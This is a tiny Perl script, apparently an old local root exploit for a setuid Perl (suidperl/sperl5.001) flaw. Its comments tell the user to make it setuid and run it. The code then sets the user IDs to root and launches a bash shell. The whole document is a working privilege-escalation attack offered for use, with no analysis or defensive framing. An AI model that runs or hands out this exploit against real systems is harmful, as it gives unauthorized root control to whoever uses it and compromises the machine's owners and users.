#!/usr/bin/perl -U
# root access on any (suidperl/sperl5.001) infected system.
# chmod 4755 this script and run it....

$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");